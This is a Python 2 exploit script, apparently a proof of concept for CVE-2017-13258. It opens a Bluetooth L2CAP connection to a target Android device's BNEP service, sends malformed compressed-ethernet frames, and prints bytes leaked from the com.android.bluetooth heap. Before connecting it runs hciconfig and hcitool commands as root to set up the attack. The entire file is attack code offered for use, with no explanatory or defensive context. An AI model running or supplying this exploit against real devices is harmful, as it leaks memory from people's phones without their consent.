import os
import sys
import struct

import bluetooth

BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20

def leak(src_bdaddr, dst):
    try:
        bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
        bnep.settimeout(5)
        bnep.bind((src_bdaddr, 0))
        print 'Connecting to BNEP...'
        bnep.connect((dst, BNEP_PSM))
        bnep.settimeout(1)
        print 'Leaking bytes from the heap of com.android.bluetooth...',dst
        aa = ''
        for i in range(LEAK_ATTEMPTS):
            type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80

            ext = 0x80

            bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
            try:
                data = bnep.recv(3)
            except bluetooth.btcommon.BluetoothError:
                data = ''

            if data:
                print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
                aa = ord(data[-1])
            else:
                print 'heap[p + 0x%02x] <= 6' % (i)
        if aa:
            b = [dst,'CVE-2017-13258']
            print 'Closing connection.'
            bnep.close()
            return b
    except:
        print "error"


def main(src_bdaddr, dst):
    os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
    os.system('hcitool dc %s' % (dst,))

    leak(src_bdaddr, dst)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: python bnep_infoleak.py <src-bdaddr> <dst-bdaddr>')
    else:
        if os.getuid():
            print 'Error: This script must be run as root.'
        else:
            main(sys.argv[1], sys.argv[2])
            
